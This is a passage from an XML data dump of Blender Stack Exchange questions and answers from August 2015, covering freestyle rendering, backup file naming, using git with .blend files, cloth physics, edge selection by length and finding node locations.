options (left) and with the box assigned to an excluded object group (right)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H7Z74.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H7Z74.png&quot; alt=&quot;result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither of them is the expected result: I'd like to have the freestyle lines on the sphere but not on the box. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Add after TLousky answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, even if I choose to render &lt;em&gt;freestyle&lt;/em&gt; all the objects except the box using an &lt;strong&gt;&quot;Inclusive&quot; group&lt;/strong&gt;, the &quot;phantom&quot; of the box still covers the edges of the sphere and partially of the cone and torus (exactly as in the example above where I used an Exclusive group containing only the cube instead)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xkY0q.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xkY0q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16395" LastEditorUserId="16395" LastEditDate="2015-08-13T21:26:10.877" LastActivityDate="2015-08-16T05:47:01.437" Title="How to make an object transparent to the freestyle pass?" Tags="&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;&lt;render-layers&gt;&lt;volumetrics&gt;&lt;freestyle&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35667" PostTypeId="1" AcceptedAnswerId="35670" CreationDate="2015-08-13T19:49:27.780" Score="2" ViewCount="435" Body="&lt;p&gt;I am not sure if it's a bug or something but blender have saving issues, when I press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; to save blender file, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fMjiA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMjiA.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the file saves not in blender format,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WLWtn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WLWtn.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so every time I have to remove the &lt;strong&gt;1&lt;/strong&gt; from the format in the end and add it to the title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Question is: Can I somehow fix this and Save without the need to press&lt;/strong&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;+&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="2217" LastEditDate="2015-08-16T22:24:03.720" LastActivityDate="2015-08-16T22:24:03.720" Title="Saving Blender Files Issue" Tags="&lt;workflow&gt;&lt;file-format&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35668" PostTypeId="1" CreationDate="2015-08-13T19:57:53.610" Score="8" ViewCount="6636" Body="&lt;p&gt;We normally save backups with .blend1 and so on (but I will ignore all the .blendNumber files), but if I wanted to have a repository and maybe 2 or more people working on it at the time, how should I go about that (is possible to resolve conflicts?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what about the textures because if I pack them and only change the texture, all the blend file will be changed so it can conflict if some one changes the texture and other person change the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or I should go in the path of one repo per asset?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also say that this is on the path of game develop, but it should be helpful for movies, short cuts and any other that want to use git as a history as on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://who-t.blogspot.mx/2009/12/on-commit-messages.html&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;on commit messages&quot;&gt;http://who-t.blogspot.mx/2009/12/on-commit-messages.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://chris.beams.io/posts/git-commit/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;How to write a commit message&quot;&gt;http://chris.beams.io/posts/git-commit/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/erlang/otp/wiki/Writing-good-commit-messages&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;writing good commit messages&quot;&gt;https://github.com/erlang/otp/wiki/Writing-good-commit-messages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From Neil answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ldo/blendgit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ldo/blendgit&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14900" LastEditorUserId="14900" LastEditDate="2017-04-10T22:53:17.487" LastActivityDate="2017-04-10T22:53:17.487" Title="How to properly use git with blender?" Tags="&lt;animation&gt;&lt;texturing&gt;&lt;objects&gt;&lt;shaders&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35669" PostTypeId="2" ParentId="35665" CreationDate="2015-08-13T20:08:28.520" Score="2" Body="&lt;p&gt;I had this issue before. Rename both UV maps (on the mesh properties panel) to have the same name, then join (ctrl+j) the meshes and both UV maps should be preserved.&lt;/p&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-08-13T20:08:28.520" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35670" PostTypeId="2" ParentId="35667" CreationDate="2015-08-13T20:12:39.210" Score="4" Body="&lt;p&gt;.blend1, .blend2,... are the auto-backup versions of your last saved file (see in user preferences/File &quot;save versions&quot;). .blend is the current version.&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-13T20:12:39.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35671" PostTypeId="2" ParentId="35668" CreationDate="2015-08-13T20:23:15.673" Score="7" Body="&lt;p&gt;I would suggest checking out &lt;a href=&quot;http://shapedo.com/&quot;&gt;ShapeDo&lt;/a&gt;, which is like github for 3D cad files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It suppoorts blender files and tracks changes much better since it &quot;understands&quot; 3D files and doesn't just compare the raw text or binary file content. Also supports previews for collaborations, and is still free as far as I know.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-13T20:23:15.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35672" PostTypeId="1" CreationDate="2015-08-13T20:26:30.633" Score="3" ViewCount="123" Body="&lt;p&gt;I am making a ninja, I added a hoodie and put a cloth modifier on it.  I put a collision modifier on the body and everything was working great.  I moved on to the next step and made a face mask, put the cloth modifier on it to, and now I am having problems.  The face mask wants to fall through the body even though it has a collision modifier on it.  It also goes through the hoodie. The hoodie has also started acting up, as in the ends of the sleeves want to get all twisted and spiky when I start the simulation. I have pinned the hoodie and the mask.&lt;a href=&quot;https://i.stack.imgur.com/tHBpS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tHBpS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16254" LastActivityDate="2015-08-18T03:00:48.910" Title="Why did my physics start working up after adding a face mask?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;mesh&gt;&lt;rigid-body-simulation&gt;&lt;cloth-simulation&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35673" PostTypeId="1" CreationDate="2015-08-13T20:34:37.620" Score="3" ViewCount="247" Body="&lt;p&gt;I have a tree that is emitting 32,000 planes that are textured as leaves.  I need to get all of these to be one single object, however if I click 'convert' in the modifiers section, Blender becomes unusable by trying to create 32,000 different objects.  Is there another option or script I could use to convert a particle system to a single object?&lt;/p&gt;&#xA;" OwnerUserId="1191" LastActivityDate="2015-08-13T20:34:37.620" Title="Converting hair particles to only one mesh to avoid Blender crashing" Tags="&lt;modifiers&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35674" PostTypeId="2" ParentId="35666" CreationDate="2015-08-13T20:37:55.900" Score="2" Body="&lt;p&gt;You can control which edges are visible and which aren't if you mark the edges you want to display via the edge menu (Ctrl + E in edit mode), and change the freestyle settings to display only marked edges (see image below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8tsvy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8tsvy.jpg&quot; alt=&quot;Freestyle Settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't or don't want to mark the edges of the objects you want to render in freestyle, you can simply use the group selection method. Objects included in the group will be rendered in the freestyle pass, while the rest won't:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kNHmE.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kNHmE.jpg&quot; alt=&quot;Group selection in Freestyle&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="15861" LastEditDate="2015-08-13T20:48:22.087" LastActivityDate="2015-08-13T20:48:22.087" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35675" PostTypeId="1" CreationDate="2015-08-13T20:45:12.620" Score="2" ViewCount="108" Body="&lt;p&gt;This is my model:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6aTfa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6aTfa.png&quot; alt=&quot;The Textured Character&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://www.ezimba.com/work/150814C/ezimba15546414651300.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;ezimba.com&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;It has two triangular vertices on the front of the arm.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wxAJ0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wxAJ0.png&quot; alt=&quot;Vertices&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;http://www.ezimba.com/work/150814C/ezimba15546411412200.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;ezimba.com&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can I change the number of vertices to allocate for the texture without distorting it?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/file/bkrgm45wo6pc375/My_Model_and_Textures.zip/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;My .blend file.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16316" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-07-20T01:07:44.263" Title="How can I make elbows and knees on this without distorting the texture?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="35676" PostTypeId="1" AcceptedAnswerId="35678" CreationDate="2015-08-13T20:59:40.763" Score="8" ViewCount="557" Body="&lt;p&gt;Is it possible to select all edges with a specific length?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a very exotic problem. In a computer game model, there is audience projected on several billboards, and depending on a billboards width, I know the number of characters seen in that billboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to find out the approximate complete count of characters in the audience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, that there are 4146 billboards, which I can't count by hand, but classify by their length at least, and then calculate it up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4k16B.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4k16B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to select, for example, all the widest audience billboard edges seen on the terrace?&lt;/p&gt;&#xA;" OwnerUserId="13128" LastActivityDate="2015-08-13T21:26:31.087" Title="Select edges by length?" Tags="&lt;mesh&gt;&lt;selection-tools&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35677" PostTypeId="1" AcceptedAnswerId="35729" CreationDate="2015-08-13T21:04:42.150" Score="3" ViewCount="445" Body="&lt;p&gt;I have a scene where I have a lot of particles (&gt; 5000) which are essentially spheres, that I would like to animate in a particular fashion. Basically, the thousands of particles can be categorized into a few types, with each type having its own material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on animating the behavior of a &quot;periodic&quot; box where, as particles cross a plane, they appear out the other side. Similar to a game of snake where the snake goes through one wall and appears out the other. However, I have come across the following limitation(s): &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When I keyframe the animation, unless the frames are literally 1 apart, the particles will travel backwards then start moving forwards again. If the frames are 1 apart, the particle will disappear and reappear at the back. This is undesirable as I would like to have a smooth animation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As a solution to this, I thought of fading out the object, move it, then fade it back in at the start. However this brings up another issue:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I am using cycles. Short of having 5000+ materials, one for each objects, I don't know how to control the opacity/transparency of an object independently. Also, if I have that many materials, I lose the ability to change the attributes (color/texture/etc...) of an entire group collectively.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If anyone has any thoughts on how to deal with this issue, whether in terms of fading out an object independently of its material, or any neat approaches to what I am trying to do, it would be greatly appreciated. Just for sake of completeness, I am writing a blender python module to do this, since all the position data for the particles are in a file generated by a simulation, and this is the remaining issue I have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16402" LastActivityDate="2015-08-14T17:18:21.543" Title="Fading and animating objects without materials" Tags="&lt;animation&gt;&lt;materials&gt;&lt;objects&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35678" PostTypeId="2" ParentId="35676" CreationDate="2015-08-13T21:11:22.157" Score="9" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select an edge and press &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;em&gt;&gt; Length&lt;/em&gt;. By default this will select all other edges with equal length to the active edge.&lt;br&gt;&#xA;By adjusting the options in the &lt;em&gt;redo panel&lt;/em&gt; (&lt;kbd&gt;F6&lt;/kbd&gt;) or at the bottom of tool shelf (&lt;kbd&gt;T&lt;/kbd&gt;), you can also select edges with greater or lesser lengths and compare lengths with a threshold to select edges that are not &lt;em&gt;exactly&lt;/em&gt; the same length, but similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N9qsD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N9qsD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a partial selection on the billboards you want to select, you can select all geometry connected to the selection with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;. Or in the case of a plane, by switching to face select mode (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;) while holding &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-08-13T21:26:31.087" LastActivityDate="2015-08-13T21:26:31.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35679" PostTypeId="2" ParentId="35676" CreationDate="2015-08-13T21:19:22.560" Score="5" Body="&lt;p&gt;Being in &lt;em&gt;Edit Mode&lt;/em&gt; select a desired mesh (or meshes) using a &lt;em&gt;face selection&lt;/em&gt;. Then go to &lt;strong&gt;&lt;em&gt;Select--&gt;Select Similiar--&gt;Perimeter&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;(or Area)&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EXZEI.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EXZEI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-13T21:25:43.183" LastActivityDate="2015-08-13T21:25:43.183" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35680" PostTypeId="1" CreationDate="2015-08-13T21:39:48.603" Score="1" ViewCount="163" Body="&lt;p&gt;I am trying to play an animation from a fbx file. I want to choose between default or other 'take' of the animation. How can I do the same?&lt;/p&gt;&#xA;" OwnerUserId="16177" LastActivityDate="2015-08-13T21:39:48.603" Title="How to play any specific 'take' of the FBX animation in Blender using python script?" Tags="&lt;python&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35681" PostTypeId="1" CreationDate="2015-08-13T21:48:31.603" Score="1" ViewCount="115" Body="&lt;p&gt;I want to import a video of any format into the scene and want to play it either from the start or some specific time using a python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16177" LastActivityDate="2015-08-13T21:48:31.603" Title="How can I import and play a video in Blender using a python script?" Tags="&lt;python&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35682" PostTypeId="2" ParentId="35675" CreationDate="2015-08-13T21:50:54.933" Score="1" Body="&lt;p&gt;First of all you have to transform the tris in quads, or you'll not be able to make loopcuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WRAAR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WRAAR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j6k0d.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j6k0d.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than make loopcuts in the elbow position with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ee8eI.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ee8eI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is important is to check the &lt;strong&gt;Correct UVs&lt;/strong&gt; option in the command option panel. This will prevent distortion while working with the new edgeloops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zMHHj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zMHHj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing when you slide them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TpZ8Y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpZ8Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EfpzT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EfpzT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-08-13T21:50:54.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35683" PostTypeId="1" AcceptedAnswerId="40576" CreationDate="2015-08-13T21:59:00.680" Score="5" ViewCount="7925" Body="&lt;p&gt;Let's say I have an &lt;strong&gt;Active&lt;/strong&gt; wooden cube and an &lt;strong&gt;Active&lt;/strong&gt; iron cube in the scene.&#xA;I also have another &lt;strong&gt;Passive&lt;/strong&gt; cube with a &lt;strong&gt;Force&lt;/strong&gt; force field at the same location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The force field has a negative strength so it attracts rigid bodies.&#xA;But I would like the force field only to attract the iron cube and leave the wooden cube alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to define those properties on object level?&#xA;For example, the wooden cube is only affected by gravity while the iron cube is affected by force fields &lt;em&gt;and&lt;/em&gt; gravity.&lt;/p&gt;&#xA;" OwnerUserId="7460" LastActivityDate="2015-10-25T19:51:25.507" Title="Force fields affecting selected rigid body objects" Tags="&lt;rigid-body-simulation&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35684" PostTypeId="1" CreationDate="2015-08-13T23:42:58.143" Score="0" ViewCount="25" Body="&lt;p&gt;I am making a game in blender and when I press p to test my game, the screen goes white and when I press escape it goes back to normal and I don't know if my game is working or not.&lt;/p&gt;&#xA;" OwnerUserId="16403" LastActivityDate="2015-08-13T23:42:58.143" Title="when i press &quot;p&quot; it doesnt play my game" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-14T03:26:46.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="35685" PostTypeId="1" CreationDate="2015-08-13T23:58:06.670" Score="3" ViewCount="49" Body="&lt;p&gt;I've got 1 scene for rigging characters &amp;amp; animation cycles, and 2 scenes for different settings, but the character I want to use has to be in both scenes. How does that work out? I've already animated the character for the 1st scene and I want to do it for the 2nd scene but I'm scared it'd overwrite the 1st scene keyframes. How does it work out and what should I do?&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastActivityDate="2015-08-13T23:58:06.670" Title="I'm confused about Links in Blender" Tags="&lt;linked-data&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35687" PostTypeId="1" AcceptedAnswerId="35690" CreationDate="2015-08-14T01:36:23.990" Score="6" ViewCount="1033" Body="&lt;p&gt;Very simple question: how can I find the location of a node in a node tree using the GUI? If it's impossible, how can I do it using Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it makes any difference, I'm using Cycles.&lt;/p&gt;&#xA;" OwnerUserId="5661" LastActivityDate="2015-08-14T05:47:41.950" Title="How can I find the location of a node using the GUI?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35688" PostTypeId="2" ParentId="35687" CreationDate="2015-08-14T02:12:15.410" Score="2" Body="&lt;p&gt;AFAIK this isn't possible through the GUI, however it is possible with python:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.materials['Material Name'].node_tree.nodes['Node Name'].location[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;location[0]&lt;/code&gt; gives the X and &lt;code&gt;location[1]&lt;/code&gt; gives the Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sWLd4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sWLd4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-08-14T02:12:15.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35690" PostTypeId="2" ParentId="35687" CreationDate="2015-08-14T05:47:41.950" Score="7" Body="&lt;p&gt;In GUI you will find this info in &lt;em&gt;Outliner&lt;/em&gt; in &lt;em&gt;Datablocks view&lt;/em&gt; under:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BlendfileData &gt; Materials &gt; &lt;em&gt;name_of_material&lt;/em&gt; &gt; NodeTree &gt; ShaderNodetree &gt; Nodes &gt; &lt;em&gt;name_of_node&lt;/em&gt; &gt; Location&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eZwOf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also keyframe such value or even drive it.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-14T05:47:41.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35692" PostTypeId="1" CreationDate="2015-08-14T06:37:36.217" Score="0" ViewCount="133" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AURRy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AURRy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first Greasse pencil stroke works fine but after I add second stroke I cant see the faces.Why is this happening?&lt;/p&gt;&#xA;" OwnerUserId="16406" LastEditorUserId="15140" LastEditDate="2015-08-14T08:14:48.653" LastActivityDate="2015-08-14T08:37:38.890" Title="Why faces created with Bsurfaces are not visible?" Tags="&lt;modeling&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35693" PostTypeId="2" ParentId="26746" CreationDate="2015-08-14T07:00:06.187" Score="5" Body="&lt;p&gt;You can use &lt;em&gt;Enable Deactivation&lt;/em&gt; option and adjusting it's parameters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/clPwX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also helps to have the collision objects set as &lt;em&gt;Passive&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will also increase the simulation accuracy is number of simulation steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hbPpt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more steps the less sliding in the end and the more accurate simulation (this is 5000 steps):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RsyV8.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you don't want to increase steps, you can also &lt;em&gt;Bake the simulation to keyframes&lt;/em&gt; with Object &gt; Animation &gt; Bake Action and delete the keyframes in &lt;em&gt;Dope Sheet Editor&lt;/em&gt; that you don't want.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also keyframe the animation tag on the rigid body to be checked in the start and in the end of simulation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wLj4F.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wLj4F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will enable you to control the position and bypass simulation when the tag is on. Notice that during simulation the location (in N panel) of bricks doesn't change from starting position. You need to get the end location and rotation from &lt;code&gt;word_matrix&lt;/code&gt; in the 